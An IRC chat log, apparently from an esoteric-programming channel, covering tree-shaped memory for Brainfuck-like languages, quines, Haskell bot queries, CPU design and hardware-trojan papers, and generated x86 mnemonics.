20:33:01 <password2> thats like saying reality is useless becaus you still have to travel
20:33:55 <Zom-B> its not like you have the crossing problem or anything, it's data not logic
20:34:34 <Zom-B> the average distance between any two cells is lower on average, but thats the only practical difference
20:34:57 <Zom-B> unless you want to make pictures with the memory map (instead of stdout, which is already possible)
20:35:21 <Zom-B> maybe a competitive variant might benefit from 2d memory though
20:36:26 <password2> and you can access data in a different sequence easier
20:37:36 <tromp> if you want exponential memory balls you should change from linear to a tree
20:39:00 <tromp> so add ^ for going up, and <> become left-down and right-down
20:39:30 <tromp> you can reach 2^n cells in n steps...
20:42:31 <Zom-B> lol, from linear to quadratic, to exponential. what'
20:42:35 <Zom-B> lol, from linear to quadratic, to exponential. what's next?
20:42:48 <Bike> it's not exactly triangular, given the interior nodes and all
20:44:22 <Bike> need a data structure where you can reach A(n,n) nodes in n steps
20:45:02 <Zom-B> actually hyperbolic might be suboptimal and mappable to tree
20:45:32 <Zom-B> iknow! try hilbert space
20:46:13 <Zom-B> thats not a space but a transform
20:46:26 <Zom-B> frequency domain is a space
20:46:51 <Zom-B> would be fun if program memory and data memory were mapped by the fourier transform
20:47:03 <Zom-B> if you mutate one too much, the other starts to slowly corrupt
20:48:29 <password2> i though about a simplistic version where you can only go forward
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20:50:13 <password2> i was just thinking of random mutations
20:51:13 <password2> and you have to , dunno wrap around to get back where you want to be
20:51:46 <Zom-B> can't be turing complete
20:53:13 <Zom-B> wait, maybe it can if memory is circular and values infinitely big
20:53:53 <Zom-B> but how would you prove it for a circle of N cells with the limit N->1?
20:54:16 <Zom-B> if that is turing complete then a single memory cell memory would also be
20:54:43 <Zom-B> i think it boils down to random-access within a number (like bit-fiddling)
20:55:01 <Zom-B> if you dont have that it's not turing complete
20:55:10 <myname> Zom-B: afaik, 2 bigint-cells are known to be TC
20:55:57 <Zom-B> a cell is more like a stack (of unary numbers no less), not a ram
20:56:18 <password2> the unltimatly worst language to edebug would be one where the outcome of a cmd is linked to a random chance
20:57:34 <myname> http://esolangs.org/wiki/Collatz_function
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21:22:49 <Zom-B> my CAT program is evil / holy (depending on your viewpoint/background): http://esolangs.org/wiki/File:Cat-inf.png
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21:23:46 <Zom-B> and the my brand new esolang that it runs on: http://esolangs.org/wiki/Floater
21:24:22 <Zom-B> (i'm deciding to keep the name after all, too lazy to rename it to a name i have yet to invent)
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22:54:38 <oerjan> <Zom-B> fizzie: is it possible you could rename a wiki page (not 'move', but really rename in the database)? It's not linked from or to anything yet <-- i think moving and then deleting the old should work well enough?
22:55:01 <oerjan> i think history is transfered with a move automatically
22:55:27 <oerjan> (only admins can do the deletion bit)
22:56:22 <oerjan> <password2> i tried to click the buttons of that gif <-- wait a moment, not only did i do that but it seemed to _work_.
22:56:38 <oerjan> (as in, it was stalled before and then continued)
23:00:51 <oerjan> @tell Zom-B|zz If you move the page and one of us admins deletes the original, the effect will be the same as renaming (page history is automatically transfered on moving)
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23:06:48 <oerjan> @tell password2 <password2> mmm , i see none of these programs usses 1D instructions over a 2D tape <-- see paintfuck
23:11:45 <oerjan> <tromp> you can reach 2^n cells in n steps... <-- 3^n if make it infinite upwards too
23:12:29 <tromp> to get 3^n you need 3 down dirs
23:12:56 <tromp> a ternary tree stil lhas only one up direction
23:13:19 <tromp> what does your tree look like?
23:14:33 <oerjan> didn't think about the fact ^ reverses both < and >
23:15:33 <oerjan> however, it should be possible to make a tree that's entirely symmetric in ^ < >
23:15:42 <oerjan> (still only 2^n though)
23:16:56 <oerjan> hm the easiest way would be make each direction its own inverse
23:17:39 <oerjan> essentially the free product of 3 copies of the group Z_2, i think
23:18:36 <oerjan> i am pretty sure i had 2 copies in my thesis somewhere
23:19:05 <tromp> then you're labeling the edges of a free 3-tree with 0,1,2 such that every vertex has all labels on incident edges
23:20:05 <tromp> easiest to make it 0,1,2 in clockwise order around each vertex
23:20:33 <oerjan> hm that's systematic at least
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23:20:51 <oerjan> you could also switch direction each step, by parity of distance
23:21:04 <tromp> or prettier is to color the edges red,green,blue
23:21:18 <oerjan> someone has to have made this fractal picture already
23:21:28 <tromp> each vertex has all three colors incident
23:21:41 <tromp> and the three movements are called R,G,B
23:22:19 <tromp> call it RGBfuck :)
23:22:44 <tromp> or BrgFuck to stay with the same initial 2 letters
23:24:06 <oerjan> i think i crashed google trying to find that tree
23:27:26 <oerjan> i might try restarting the net, but then i'm afraid i'd lose irc too...
23:27:31 <tromp> http://telliott99.blogspot.com/2010/11/phylogenetic-tree-surgery-1.html
23:27:56 <oerjan> wtf did _that_ page load.
23:28:40 <oerjan> hm maybe because it autoredirects to .no
23:29:26 <oerjan> pretty pictures, at least
23:35:24 <tromp> was wondering if we cld store bits in the RGB orientation
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23:37:01 <oerjan> you'd need a command to detect it, then
23:37:37 <tromp> [...] could be loop while clockwise oriented
23:38:03 <oerjan> this reminds me a little of V
23:38:19 <tromp> so this would do bitwise io
23:38:36 <tromp> . outputs 0 or 1 depending on orientation
23:38:45 <oerjan> like, you could have commands that mirror flipped the entire subtree in one direction
23:39:41 <tromp> hmm, you can only flip infinitely many bits at once:)
23:39:59 <tromp> this is getting wild
23:40:22 <oerjan> yep, that's the "reminds me of V" part
23:46:11 <fizzie> @tell Vorpal More silly photo stuff: http://zem.fi/2014-03-25-tl
23:47:12 <tromp> maybe the control should not only have a location but a direction as well
23:47:45 <tromp> if you're heading is B then RG would change direction
23:47:52 <tromp> while B would cross the edge
23:49:30 <oerjan> hm right, then the tree flipping command can depend on the direction.
23:49:47 <tromp> there wld only be one flip
23:50:16 <tromp> we can still limit the flip to one cell
23:50:29 <tromp> by swapping to adjacent edges
23:50:42 <tromp> instead of flipping over subtrees
23:50:55 <tromp> that's probably more sane
23:51:50 <tromp> so with heading B, Swap would swap R&G
23:52:47 <tromp> and , (input) would do a possible R&G swap to set orientation to input bit
23:53:03 <tromp> now we have exactly 8 instructions, like BF
23:53:45 <oerjan> mind you, the R&G swap has no detectible effect other than flipping the orientation of the current vertex.
23:54:03 <tromp> yes, it flips the local bit
23:54:15 <tromp> just like -/+ in bitfuck
23:55:20 <tromp> maybe it's the very first BF variant with exponential storage
23:55:45 <oerjan> no i think V counts for that too
23:56:07 <oerjan> http://esolangs.org/wiki/V
23:57:57 <oerjan> i had forgot that had a mirror command too
00:00:10 <tromp> that's a very ugly / command
00:00:27 <tromp> the , is not too pretty either:(
00:01:34 <oerjan> funnily enough some of that ugliness made it easier to implement, i think.
00:01:47 <tromp> also, it's not specified if going up infinitely is with left or right branches
00:01:53 <oerjan> if i vaguely recall correctly
00:03:49 <oerjan> hm how did i implement that
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00:06:02 <oerjan> "A tree of all zeros with the root at its outer rightward slope" says one of my comments
00:07:37 <oerjan> looking more carefully, the specification doesn't even say it starts as all zeros.
00:07:55 <oerjan> i guess i just made a choice.
00:12:03 * oerjan is quite satisfied with that tree implementation.
00:13:01 <tromp> might be good starting point for BRgFuck implementation
00:13:09 <oerjan> to make all the mirroring and left/right stuff easy, the data structure is expressed in terms of whether subtrees are inner or outer ones
00:17:46 <oerjan> hm i must have made this program back during my hugs days, ghc complains about a missing language option
00:19:52 <Taneb> The computers at this university all have Hugs installed and it seems to be the default Haskell implementation
00:20:14 <Taneb> Which strikes me as odd as this university has its own (albeit horribly unmaintained) implementation of Haskell
00:20:20 <oerjan> Taneb: ouch, hugs has been dead for years
00:20:53 <Taneb> oerjan, more or fewer years than YHC?
00:21:27 <oerjan> hugs started dying when ghc got a proper interpreter mode, i think.
00:22:24 <oerjan> ok i'll add just the LANGUAGE pragma and drop the parsec module name change then, so it should still compile with old hugs
00:24:11 <Taneb> YHC seems to have died in 2008
00:26:59 <Taneb> NYHC hasn't got very far yet
00:27:26 <Taneb> I should work on that at some point
00:31:30 <oerjan> and now with CC0 PD license, which i suspect is less dubious than a norwegian-claimed Public Domain
00:32:00 <oerjan> not that i've ever actually checked properly whether norwegians can release into PD
00:33:14 <oerjan> i recall way back the servers here are nvg used to have hugs installed. now there is no haskell at all me thinks.
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01:53:54 <^v> i am interested in glass
01:54:08 <^v> but the C program is ancient and refuses to work
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02:02:33 <Sgeo> Is Light Table causing Clojure to be yet another so-so language with a superior IDE?
02:03:22 <oerjan> i thought glass was in C++ ?
02:04:27 <oerjan> !glass {M[m(_s)S!(_o)0O!o.<34>(_s)(ns).?"{M[m(_s)S!(_o)0O!o.<34>(_s)(ns).?"
02:04:27 <oerjan> "14?24?14?24?24?04?24?04?]}"14?24?14?24?24?04?24?04?]}
02:05:14 <oerjan> !glass {M[m(_s)S!(_o)0O!o.<34>(_s)(ns).?"{M[m(_s)S!(_o)0O!o.<34>(_s)(ns).?""14?24?14?24?24?04?24?04?]}"14?24?14?24?24?04?24?04?]}
02:05:14 <EgoBot> {M[m(_s)S!(_o)0O!o.<34>(_s)(ns).?"{M[m(_s)S!(_o)0O!o.<34>(_s)(ns).?""14?24?14?24?24?04?24?04?]}"14?24?14?24?24?04?24?04?]}
02:06:50 <pikhq> Pretty sure it is C++, yes.
02:32:40 <newsham> sgeo: are there many light-table users?
02:32:50 <Sgeo> newsham: no idea
02:33:02 <Sgeo> I should probably try it, but I haven't been in a Clojure mood for a while
02:33:19 <newsham> now that haskell compiles to javascript, where are all the awesome haskell-based in-browser editors?
02:33:53 <newsham> i wonder what lighttable security is like
02:34:43 <oerjan> is this an improvement or not https://en.wikipedia.org/w/index.php?title=Esoteric_programming_language&diff=601162845&oldid=600381750
02:37:55 <zzo38> oerjan: Well, I think it is not worse, at least.
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03:02:59 <newsham> "We glued an iPad to a diving mask and BOOM two billion dollars. THAT's our fucking TED Talk."
03:03:27 <Bike> sounds like a hit.
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03:04:04 <Bike> `welcome Shubshub
03:04:04 <EgoBot> Shubshub: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
03:04:23 <oerjan> Bike: we've made emergency measures
03:04:25 <Bike> nonetheless, the welcome is paramount.
03:04:49 <Shubshub> http://esolangs.org/wiki/!!!Batch
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03:14:43 <Bike> i just remember the last time it came up opinions were derisive.
03:18:22 <newsham> this slide deck has a neat errata section which delves into ways that cpu bugs can be abused. https://rpw.io/slides/rpw-csw2014-merged.pdf
03:18:33 <newsham> you know.. if you're into that kinda thang
03:19:49 <zzo38> newsham: O, it is in Vancouver. I am close enough then.
03:22:15 <zzo38> If there are CPU bugs can be abused to make security hole that may be due to being too complicated that they didn't secure the instruction set properly.
03:22:57 <newsham> they're not bugs in instruction set, but in implementation.
03:23:11 <newsham> for example, cache doing the wrong thing when instruction is on a page boundary, weird cases like that...
03:23:28 <newsham> err.. branch prediction doing the wrong thing at a page boundary...
03:23:34 <zzo38> Yes, it is because of caching and stuff; they shouldn't do that kind of implicit caching and branch prediction and stuff.
03:23:42 <newsham> anyway, apparently cpu errata docs are getting pretty big these days
03:23:58 <newsham> and security people have started paying attention
03:24:00 <zzo38> Not only because of that kind of stuff, but also because it make it too complicated design.
03:24:31 <kmc> instruction set is just another VM bytecode
03:25:36 <newsham> also more and more cpu chipsets have extra cpus which are somewhat hidden (in that most peopel arent aware of them)
03:25:57 <tertu3> are you saying that they shouldn't do branch prediction
03:26:07 <Shubshub> 8 Core CPU with DDR4 Support was Revealed
03:26:15 <tertu3> that's been a thing for quite a while
03:26:19 <newsham> doing things liek power management, extra hidden security features (ie. for drm), handling firmware updates, doing theft protection, doing enterprise asset management (ie. remote control of machiens even when powered off), etc
03:26:32 <kmc> wow it's Shubshub
03:26:34 <kmc> welcome back
03:27:05 <newsham> like the extra hidden OS underneath your OS in trustzone, or the intel ME environment running on an ARC cpu on many intel chipsets
03:27:19 <newsham> or the hidden power management cpus on intel and arm chips
03:28:03 <newsham> not even counting the more "normal" and more "expected" hidden cpus in things like wifi adapters, keyboards, disk drives, etc..
03:28:52 <tertu3> yeah the first x86 processor with a branch predictor was the P5 Pentium
03:28:53 <zzo38> tertu3: Yes, I am saying they shouldn't do branch prediction. The compiler should do it instead of wanted
03:28:58 <newsham> would be neat seeing a list of popular computers over time with an accurate count of the number of distinct cpu cores other than the main general purpose cpu
03:29:07 <zzo38> And they shouldn't have hidden extra stuff
03:29:19 <zzo38> That not only complicates it but make it not understandable properly.
03:29:21 <tertu3> good luck convincing people to abandon x86 or ARM
03:29:45 <newsham> modern systems cannot be fully understood by any one person.. even if they were simple enough to, the information is guarded too secretly.
03:30:02 <newsham> corrolary: modern systems cannot be properly secured.
03:30:05 <zzo38> newsham: Yes, that is part of the problem, too.
03:30:50 <zzo38> tertu3: There are old versions of x86 and ARM, which at least are better than the new one.
03:32:18 <newsham> also softcores, opencores, etc...
03:32:28 <kmc> happy hardcores
03:32:46 <newsham> and there are some recent systems that try to be both simple and open/documented, such as rpi (broadcom just recently opened up more of the undocumented bits)
03:33:43 <newsham> if you didnt want to fab yoru own silicon, thats prob your best best right now... start with an rpi.
03:33:51 <newsham> still hella slow compared to state of the art.
03:34:07 <newsham> but faster than fpgas running softcores
03:36:05 <zzo38> How do you get documentation of rpi?
03:36:26 <Jafet> It's possible to inject trojans into silicon during fabrication
03:36:52 <newsham> start here i guess? http://www.raspberrypi.org/technical-help-and-resource-documents
03:36:57 <zzo38> Jafet: Yes, that too
03:37:04 <newsham> jafet: yup.. and even hard-to-detect ones :(
03:37:26 <kmc> your mind is the scene of the crime
03:37:47 <newsham> http://people.umass.edu/gbecker/BeckerChes13.pdf
03:38:03 <newsham> "stealthy dopant-level hardware trojans"
03:38:22 <zzo38> Jafet: It too is a problem; hopefully it can be tested sufficiently, in addition to having vendor non-locked components; no vendorlock is one important rule to help to avoid such trojans.
03:38:32 <Bike> i emailed that to my ee prof and didn't get a reply. le sigh
03:38:37 <zzo38> Furthermore, don't have any CPUID or anything like that.
03:39:21 <newsham> but there are some interesting papers on detecting hardware trojans, too
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03:40:08 <zzo38> newsham: Yes, you need that too.
03:43:03 <zzo38> Due to this mess everyone has made, I would need to design a completely new computer system. This time, using CF cards, as well as a new instruction set and CPU design which is very simple, eliminating USB and HDMI entirely from the design. And then also the BIOS, graphics, audio, etc everything else too.
03:43:53 <zzo38> However, it would then be difficult to make C programs work on it, unless GCC or LLVM or whatever can be made to target it easily enough. This can be difficult to do effectively.
03:45:09 <zzo38> People who make LLVM refuse to add support for ARM2 and MMIX.
03:45:11 <newsham> why invent your own? you could start with http://en.wikipedia.org/wiki/OpenRISC or some other open soft core
03:45:21 <newsham> there are already compiler targets for openrisc
03:48:38 <zzo38> newsham: I don't want automatic cache and branch prediction and pipeline stalls and all of that stuff. There are also a few other features I want to customize: To make hardwired memory protected pages rather than being programmable, and to include BCD arithmetic instructions.
03:49:22 <newsham> you could always start with an existing arch and take out what you dont want, then just patch up the linux/compiler stuff to match
03:49:28 <newsham> should be easier than clean slate
03:49:52 <zzo38> Yes, I did, in fact, think of that possibility
03:50:48 <zzo38> I have no need to run Linux on the system, though, and compilers such as GCC would take too long to compile.
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03:53:29 <zzo38> The original 6502 was a good design, although not powerful enough, and not 32-bits, and lacking some things.
03:54:39 <kmc> isn't it good to have more than 3 registers
03:55:06 <newsham> i think the ARM instruction set (before they went 64-bit) is very elegant
03:55:06 <zzo38> kmc: Yes, certainly.
03:55:40 <newsham> that is, the normal arm32 stuff, not the thumb mode stuff or many of the crazy extensions they also support
03:55:42 <zzo38> newsham: The first version of the ARM instruction set is very elegant.
03:56:08 <kmc> it has a number of clever features to mitigate the downsides of first generation RISC
03:56:43 <newsham> i dont include having a multiplier or divider as a crazy extension, fwiw. :)
03:57:10 <Jafet> Dude, if your CPU doesn't have hardware support for java, it's going nowhere
03:57:13 <Jafet> Everyone knows this
03:57:32 <newsham> back in the days when every toaster was destined to run java, that might have been true :)
03:57:58 <newsham> but now we're past that, flew by dot-net and active-*, and are well into the world of cloud
03:58:33 <Jafet> Hardware accelerated JSON decoding
03:58:37 <newsham> tell me how the arm extensions make a better cloud world!@#?
03:58:45 <newsham> hardware accelerated json indeed!
03:59:40 <newsham> because your OS inst secure, so we made another, and right now nothing runs there, so its totally sekure!
04:00:11 <Jafet> You think it's funny but the logic is sound
04:01:17 <newsham> its like most startup plans. it works great until it is successful... then it fails miserably.
04:01:28 <newsham> but, thats plenty of time to monetize and cash out...
04:01:44 <newsham> s/startup plans/good startup plans/
04:10:54 <zzo38> One idea I have involves implementing a standardized VLIW instruction set for microcodes; the microcode RAM can also be used as a cache, but the cache can only be explicitly accessed, and is not implicitly accessed by instructions that access external memory.
04:11:21 <zzo38> Same with out of order execution and so on; it won't do any of that stuff at all.
04:12:06 <zzo38> The compiler optimizations should try to determine what to put in the cache and what order of instructions and predict branching and all of that stuff, not the CPU.
04:13:14 <Bike> hardware jit, imo
04:15:32 <ion> Yes, just in time hardware delivery
04:20:00 <zzo38> I should have a separate microcode RAM for supervisor mode and for user mode; those two modes do not share cache or microcodes. There would also be a microcode ROM which is fixed and that is used both in supervisor mode and in user mode.
04:22:04 <Sgeo> How did people figure out that Student == Gosset?
04:22:30 <zzo38> Sgeo: I do not understand how you mean?
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04:25:11 <Sgeo> Guy named Gosset published under the name "Student"
04:28:17 <Bike> as in student's t? didn't he say so himself at some point?
04:29:10 <Bike> or maybe fisher figured it out. mathematicians are used to that kind of shit, see
04:29:48 <Sgeo> "For many years, an air of romanticism surrounded the appearance of "Student's" papers, and only a few individuals knew his real identity, even for some time after his death."
04:29:54 <Sgeo> http://www.swlearning.com/quant/kohler/stat/biographical_sketches/bio12.1.html
04:30:25 <coppro> guys, what's the command to quit irc?
04:31:17 <Sgeo> (I may be assuming you merely tried to get people to quit)
04:32:42 <Bike> an air of romanticism, lol
04:32:49 <Bike> in a fucking stats journal
04:33:27 <Bike> i guess if you're a stats journal you take it where you can get it
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05:03:29 <kmc> today I wrote a procedural macro in Rust for the first time
05:03:40 <kmc> it expands to an invocation of another procedural macro written by someone else
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05:20:07 <Sgeo> When were procedural macros introduced?
05:21:04 * Sgeo vaguely recalls seeing actual hygiene in some language that had macros that he wasn't expecting, mostly because was stereotyping non-Lisps as having limited understanding
05:21:15 <Sgeo> Julia, I think?
05:27:15 <Sgeo> let mut odds = nums.iter().map(|&x| x * 2 - 1);
05:27:20 <Sgeo> I thought mut was on its way out, or am I confused, or is that not in 0.9?
05:32:59 <kmc> in Rust? I don't think there are any plans to remove it
05:33:46 <kmc> i mean the distinction between & and &mut is fundamental to the memory safety story
05:34:26 <kmc> you could make all lets allow mut borrows but I haven't heard of anyone wanting that
05:34:26 <newsham> > map (\x -> x * 2 - 1) [0..]
05:34:27 <lambdabot> [-1,1,3,5,7,9,11,13,15,17,19,21,23,25,27,29,31,33,35,37,39,41,43,45,47,49,51...
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05:39:08 <oklopol> http://helloworldquiz.com/#/game
05:39:09 <kmc> oh i forgot that the term "anaphoric macro" exists
05:39:13 <kmc> that's a good one
05:39:54 <kmc> Sgeo: sweet.js implements hygienic macros for JavaScript http://sweetjs.org/
05:39:58 <zzo38> What is a anaphoric macro?
05:40:31 <kmc> Rust macros (the non-procedural ones) are partially hygienic; I don't remember the details though
05:41:11 <Sgeo> zzo38: I can give an example: an aif macro that acts like if, but exposes a name 'it' in the body
05:41:20 <Sgeo> It's deliberately non-hygienic
05:42:41 <kmc> the one that starts with "program ObjectPascalExample;" is a trick :P
05:42:59 <zzo38> It can be useful, that macros can be hygienic and non-hygienic, actually
05:43:11 <zzo38> Or partially hygienic macros
05:43:20 <Bike> or hygenic partial evalutation
05:44:03 <oklopol> (if anyone tries that, tell me what you got)
05:44:07 <kmc> my score is 1900
05:44:16 <Bike> or hygeine whiel doing macrophitography
05:44:27 <oklopol> and that was my third attempt
05:45:28 <oklopol> this thingie i linked: http://helloworldquiz.com/#/game
05:45:33 <Bike> hello world quiz dot com slash octothorpe slash game
05:46:22 <kmc> octothorpe++
05:46:39 <Sgeo> kmc: I guessed the trick only because you said it
05:47:27 <Sgeo> .... I got wrong one that... I should not have gotten wrong
05:47:46 <zzo38> How does it start?
05:48:00 <Sgeo> Haskell vs. Idris
05:48:05 <Sgeo> I wasn't paying much attention
05:49:30 <kmc> it's a random selection / order of languages
05:49:40 <Bike> lol i died on matlab, the language i actually use
05:49:50 <Bike> (1300, big whoop)
05:49:57 <kmc> though the choices for a single question remain grouped together, I think
05:50:10 <Bike> the problem is, holy shit why would i use matlab oo if i could avoid it
05:50:14 <Bike> (why would i use matlab if i could avoid it)
05:52:21 <oklopol> i got idris vs haskell right
05:52:25 <Sgeo> I managed to get at least one right that I shouldn't have gotten right
05:52:36 <Sgeo> (As in, I had absolutely no idea)
05:52:48 <Sgeo> Don't remember which
05:52:51 <oklopol> i have never actually seen idris but luckily i was given the idris example and it looked suspicious.
05:53:00 <Bike> 3000. that's enough of that.
05:53:17 <Bike> you can tell because i can now distinguish omgrofl from lolcode.
05:54:13 <Bike> the idris one looks exactly like haskell except for importing a module, o rsomethin
05:55:24 <oklopol> this is not so good if you play it multiple times, i'm at 5100 on my fourth attempt
05:55:53 <Sgeo> Bike: look at the type of main
05:55:56 <oklopol> in the idris example, there was something like "main: ..."
05:56:42 <Bike> see, i don't give that much of a shit
05:56:47 <oklopol> is that the only difference?
05:56:57 <Bike> there's also the import.
05:57:53 <Bike> i'm just going to keep programming in the langauges i know best. matlab, snobol, and TOPS-20 macroassembler.
05:58:31 <Sgeo> Do Erlangers hate Elixir/
05:58:46 <Bike> if the pope was catholic would she shit in the woods?
06:00:26 <zzo38> Bike: Which pope do you mean, and which woods?
06:00:36 <Sgeo> At least one person hates the 'mutable state' of being able to assign twice to the same name
06:00:55 <Sgeo> > runIdentity $ do { let a = 5; a = 6; return a }
06:00:56 <lambdabot> <hint>:1:47: parse error on input `}'
06:00:57 <Bike> zzo38: the generalized pope
06:01:08 <zzo38> O, you mean Don Woods.
06:01:11 <Sgeo> :t runIdentityT
06:01:12 <lambdabot> Perhaps you meant `runIdentity' (imported from Control.Monad.Identity)
06:01:49 <zzo38> I thought you meant the other kind of woods.
06:02:01 <Sgeo> > (do { let a = 5; let a = 6; [a])
06:02:01 <newsham> > runState (do { let a = 5; a = 6; return a }) 10
06:02:02 <lambdabot> <hint>:1:32: parse error on input `)'
06:02:02 <lambdabot> <hint>:1:43: parse error on input `}'
06:02:16 <Sgeo> @run (do { let a = 5; let a = 6; [a]})
06:02:16 <lambdabot> <hint>:1:32: parse error on input `}'
06:02:24 <Bike> > runIdentity (do { let a = 5; a = 6; return a; })
06:02:25 <lambdabot> <hint>:1:45: parse error on input `;'
06:02:28 <Sgeo> @run (do { let a = 5; let a = 6; [a] } )
06:02:29 <lambdabot> <hint>:1:33: parse error on input `}'
06:02:46 <Jafet> @run Control.Monad.Identity.runIdentity $ do { a <- return 5; a <- return 6; return a }
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06:05:11 <zzo38> Can you make something like that kind of quiz on Internet Quiz Engine?
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06:27:44 <oerjan> @run do let { a = 5 }; let { a = 6 }; [a]
06:28:42 <oerjan> your problem was ending the lets, not the do
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07:42:05 <olsner> oh, this was a new one, http://fimpp.wikia.com/wiki/FiM%2B%2B
07:43:42 <oklopol> i thought it was shakespeare
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07:44:18 <fizzie> 2012 doesn't count as new in Internet terms, does it?
07:44:34 <olsner> it was new as in I hadn't seen it before
07:45:37 <oklopol> olsner? more like oldsner.
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07:46:05 <zzo38> I have idea: A programming language that if it typechecks, it results in a provably correct chess puzzle (so, the types are a logic of chess puzzles).
07:49:52 <zzo38> It could be, but maybe you could also use other board sizes
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08:30:21 <fizzie> Heh, I just realized that my script for that TSP-based photo blend thing (no TDTSP to start with) actually entirely ignored the TSP path and just put the things in chronological order.
08:30:28 <fizzie> I did wonder why there was *that* much banding.
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09:56:28 <oklopol> when can we see the results
09:57:14 <fizzie> You can see the initial ones right now, they're at http://zem.fi/2014-03-25-tl -- but there's nothing too fancy there yet, just simple averages plus the column-blend thing in chronological and TSP order.
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10:02:06 <oklopol> have you considered choosing each pixel independently from the pictures? or maybe this is your feasible approximation to that
10:02:50 <oklopol> i guess it's likely that it's all summer / all winter then
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10:14:24 <fizzie> I could do (smoothed) blocks with a constraint of having the same number of blocks from every image, perhaps.
10:14:27 <fizzie> The "time goes from left to right" is conventional for e.g. time-lapse videos, but that sort of assumes more correlation between consecutive frames than I have.
10:14:56 <fizzie> I think I drew one for the "view from the office window for one day" video, but it was quite boring.
10:15:24 <fizzie> Then again, so was the video.
10:29:54 <boily> the same sentence in each of Japan's prefectures' dialects → http://youtu.be/mYZZdpu8pPk
10:35:55 <fizzie> Yay, got a bona-fide university-targeted phishing message; for some reason they typically seem to skip me. :/
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11:17:35 <fizzie> http://sprunge.us/MDCi -- automatically generated x86 opcodes -- indistinguishable from real ones.
11:17:42 <fizzie> (Disclaimer: some may actually be real.)
11:38:01 <b_jonas> some of them are real indeed
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11:42:50 <fizzie> cmpfdivpcmpunpcmpd sounds quite plausible, for example.
11:43:09 <b_jonas> fizzie: the list has sqrtpd, which is real
11:43:22 <fizzie> And fshufdivscattpd does some kind of combined shuffle-divide-scatter operation on packed doubles.
11:44:39 <b_jonas> mind you, given how the stupid intel terminology already has a mnemonic that's used for two completely unrelated instructions, you could say that this is a different "pmulld" instruction that just happens to have the same mnemonic
11:46:24 <fizzie> According to a quick check against the source data, 8 (out of 100) were real: fylx, pmulld, sqrtpd, vcmpltpd, vcmpnlepd, vfnmsubps, vmovd and vpminud.
11:46:43 <b_jonas> does the source data include AVX-512 instructions?
11:47:06 <fizzie> Oh, that "fylx" must be some kind of mistake for fyl2x.
11:48:44 <fizzie> It might not include AVX-512, I'm not sure; it was the sources of the latest daily development snapshot of NASM.
11:49:12 <fizzie> Don't know how the 2 disappeared, because things like vgatherpf0dpd still have a 0 in it.
11:49:46 <fizzie> Oh, I typoed "0-9" as "0-0" when processing.
11:50:30 <b_jonas> I'd like stuff like vfmsub213pd in it
11:53:04 <b_jonas> the list has "svps". if you capitlize it as "SvPS", it looks like a macro from perl core.
11:53:30 <b_jonas> I think it doesn't actually exist, but it's believable
11:58:13 <Sgeo> How the flip do I have a temperature of 97?
11:58:14 <fizzie> http://sprunge.us/dBWd there we go
11:58:29 <fizzie> "vphaddsub32132132siftsd"
11:58:53 <Sgeo> How the flip do I not notice this is #esoteric instead of the other place?
12:00:19 <fizzie> This time only 4 real ones: cmpeqsd, sub, vandpd and vfmsubpd.
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12:10:19 <Sgeo> I am not Spock... I am Spock
12:12:44 <Sgeo> I think "turning into a snot machine" is a good reason to say I'm sick and not going to work, right? (Not going to say exactly how I'm sick unless I have to, just justifying to myself)
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12:20:16 <Taneb> Sgeo, both the characters I am planning on cosplaying at a convention in June have green eyes. Would you say it would be worth getting coloured contacts?
12:20:36 <Taneb> (my eyes are notably ungreen)
12:20:48 <Sgeo> Aren't colored contacts dangerous?
12:22:13 <Sgeo> Huh, so, there are actually people who prescribe colored contacts? Or how does that work?
12:24:01 <Sgeo> I guess the idea of getting a prescription for something that's not medically necessary is... weird to me. But if you can, go for it if you want
12:24:57 <Taneb> Maybe I should ask someone with experience in the world of coloured contacts
12:25:40 <Taneb> Sgeo, do you know where I could get a jacket like this one: http://img1.wikia.nocookie.net/__cb20130719090013/rwby/images/thumb/7/78/Roman_Torchwick.png/1000px-Roman_Torchwick.png
12:26:58 <Sgeo> At first I thought that person's head was half chopped off
12:27:02 <Sgeo> But it's just the hat
12:28:12 <Taneb> Heh, it does kind of look like that
12:28:40 <Taneb> I suppose it doesn't look impossible to make
12:31:47 <Jafet> fizzie: I'm thinking about the image join problem, and realized that the number of different positions for joining images is (n-1)(n^2)
12:32:05 <Jafet> Somehow, I get the feeling that glpk won't want me to send it a million coefficients.
12:32:46 <Taneb> What: https://pbs.twimg.com/media/BjnDdLZCYAA1pad.jpg:large
12:33:48 <Jafet> When integer HDMI cable is not enough
12:34:03 <Jafet> Oh, is that a garden hose
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13:06:24 <fizzie> Fun fact: I did the TSP alignments first on http://neos.mcs.anl.gov/neos/solvers/co:concorde/TSP.html (then I just built Concorde locally).
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13:21:58 <Jafet> There are a bunch of public servers for FOL and SMT solving, too.
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13:44:49 <Melvar> Jafet, Taneb: Yes, that is a garden hose connector.
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16:22:01 <mroman> Any static typed & static type checked stack-based programming languages?
16:22:33 <mroman> that are reasonably high level
16:22:51 <mroman> so MSIL and alike wouldn't really count
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17:00:24 <kmc> fizzie: those are some p. good instructions
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17:34:47 <EgoBot> ThisFalseReality: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/wiki/Main_Page>. (For the other kind of esoterica, try #esoteric on irc.dal.net.)
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17:49:04 <Sgeo> It's distinctly a discussion about a class of programming languages. In theory.
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18:13:41 <fizzie> kmc: Which instructions were those?
18:14:13 <kmc> http://sprunge.us/dBWd
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18:26:50 <fizzie> Oh, right, *instructions*.
18:27:11 <fizzie> I thought, you know, 1. (11) direction, instruction -- (a message describing how something is to be done; "he gave directions faster than she could follow them")
18:27:24 <Jafet> kmc is too cool to say opcodes
18:27:48 <fizzie> I think I'll write up a X86 Mnemonic Generator javascript thing and put it on the webs.
18:27:54 <Jafet> Using gradient descent to get a layout: http://46.4.207.77/product.jpeg
18:28:18 <Jafet> (That's 218 images from a video I had lying around.)
18:29:35 <fizzie> Maybe I could involve a self-organizing map in the image thing somehow, since it's what "our people" do.
18:29:45 <kmc> Super Flappy X86 Opcode Generator 2048
18:30:34 <Jafet> Press the arrow keys to slide the nops together
18:32:51 <Jafet> fizzie: the problem had 10312708 coefficients, by the way.
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18:57:30 <Jafet> @hoogle Set a -> Int -> a
18:57:31 <lambdabot> Data.Set elemAt :: Int -> Set a -> a
18:57:31 <lambdabot> Data.Set deleteAt :: Int -> Set a -> Set a
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18:58:30 <Jafet> I'll need to upgrade ghc for that, huh
